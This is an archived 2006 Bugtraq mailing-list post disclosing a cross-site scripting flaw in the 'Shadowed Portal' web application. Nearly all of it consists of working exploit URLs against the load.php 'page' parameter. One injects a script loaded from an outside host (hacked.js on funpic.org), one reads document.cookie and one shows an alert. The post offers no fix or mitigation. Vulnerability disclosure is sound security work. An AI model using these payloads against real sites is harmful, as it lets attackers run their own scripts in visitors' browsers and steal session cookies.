[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Shadowed Portal Cross Site Scripting
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Shadowed Portal Cross Site Scripting
- From: liz0@xxxxxxxxxxx
- Date: 8 Apr 2006 13:29:40 -0000
-------------------------------------------------------------------------------------
Shadowed Portal Cross Site Scripting
Site:http://www.shad0wed.com/
Demo:http://www.shad0wed.com/
---------------------------------------------------
Credit : Liz0ziM
webpage:www.biyo.tk www.biyosecurity.be
Mail :liz0@xxxxxxxxxxx
-------------------------------------------------------------------------------------
Shadowed Portal
http://victim/path/load.php?mod=pages&page="><script
src=http://liz0.li.funpic.org/hacked.js></script>
http://victim/path/load.php?mod=pages&page="><script>alert(/BiyoSecurityTeam/)</script>
http://victim/path/load.php?mod=pages&page="><script>alert(document.cookie)</script>
----------------------------------------------------------------------------------------
Source:
http://www.blogcu.com/Liz0ziM/350164/
http://liz0zim.no-ip.org/shad0w.txt